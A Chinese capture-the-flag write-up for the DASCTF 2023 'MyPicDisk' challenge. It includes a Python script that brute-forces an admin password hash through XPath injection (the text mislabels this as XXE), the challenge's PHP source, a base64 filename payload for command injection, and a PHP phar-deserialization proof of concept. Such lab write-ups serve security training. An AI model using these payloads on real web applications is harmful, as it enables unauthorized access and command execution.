DASCTF 2023 & 0X401七月暑期挑战赛 MyPicDisk

打开题目是个登录框
这里是XXE盲注
boogipop师傅的盲注脚本

import requests
import time
url ='http://6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81/index.php'


strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'


flag =''
for i in range(1,100):
    for j in strs:
        #猜测根节点名称 #accounts
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        # payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)

        #猜测子节点名称 #user
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        # payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)



        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)、
        # payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)


        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
            "username":payload_username,
            "password":123,
            "submit":"1"
        }


        print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)


        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

得出的是md5加密后的数据我们进行MD5解密
得到密码

image

15035371139

登录成功后我们查看源码
image

根据提示下载源码

<?php
session_start(); // 启动会话
error_reporting(0); // 禁用错误报告

// 定义一个名为 FILE 的类
class FILE{
    public $filename; // 文件名
    public $lasttime; // 最后修改时间
    public $size;     // 文件大小

    // 构造函数,用于初始化 FILE 类的实例
    public function __construct($filename){
        // 检查文件名是否包含 "/",防止路径穿越攻击
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }

        // 检查文件名中是否只包含一个 "."
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }

        // 检查文件是否存在
        if (!is_file($filename)){
            throw new Error("???");
        }

        // 初始化类属性
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }

    // 删除文件的方法
    public function remove(){
        unlink($this->filename);
    }

    // 显示文件信息的方法
    public function show(){
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }

    // 析构函数,当对象被销毁时执行
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
// 检查用户是否登录
if (!isset($_SESSION['user'])){
  echo '
  <form method="POST">
      username:<input type="text" name="username"></p>
      password:<input type="password" name="password"></p>
      <input type="submit" value="登录" name="submit"></p>
  </form>
  ';

  // 读取 XML 文件
  $xml = simplexml_load_file('/tmp/secret.xml');

  // 检查表单是否提交
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);

    // 检查用户名和密码是否匹配
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
      echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    // 如果登录用户不是 admin,则显示错误并退出
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }

    // 显示文件列表或上传表单
    echo "<!-- /y0u_cant_find_1t.zip -->";
    if (!$_GET['file']) {
      foreach (scandir(".") as $filename) {
        if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
          echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
        }
      }
      echo '
      <form action="index.php" method="post" enctype="multipart/form-data">
      选择图片:<input type="file" name="file" id="">
      <input type="submit" value="上传"></form>
      ';

      // 处理文件上传
      if ($_FILES['file']) {
        $filename = $_FILES['file']['name'];
        if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
          die("hacker!");
        }
        if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
            echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
        } else {
          die('failed');
        }
      }
    }
    else{
        // 处理文件操作
        $filename = $_GET['file'];
        if ($_GET['todo'] === "md5"){
            echo md5_file($filename);
        }
        else {
            $file = new FILE($filename);
            if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
                echo "<img src='../" . $filename . "'><br>";
                echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
                echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
            } else if ($_GET['todo'] === "remove") {
                $file->remove();
                echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
            } else if ($_GET['todo'] === "show") {
                $file->show();
            }
        }
    }
}
?>
</body>
</html>

法一:

很明显的一个利用点
image

image

这里很明显我们可以利用文件名进行命令执行

image

过滤了/但是影响不大我们可以利用base绕过

;`echo 命令的base64编码| base64 -d`;.jpg

但是要注意直接给文件命名的话不能带|我们要在上传文件的时候用bp抓包加上|即可


法二:

还有一个方法也是很明显

image
md5_file可以触发phar的反序列化
所以我们可以采用phar反序列化

<?php
class FILE
{
    public $filename=";ls /";
    public $lasttime;
    public $size;
}
$a=new FILE();
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "6666");
$phar->stopBuffering();

传的时候改一下后缀,然后直接
image

posted @ 2024-08-06 10:10  DGhh  阅读(25)  评论(0编辑  收藏  举报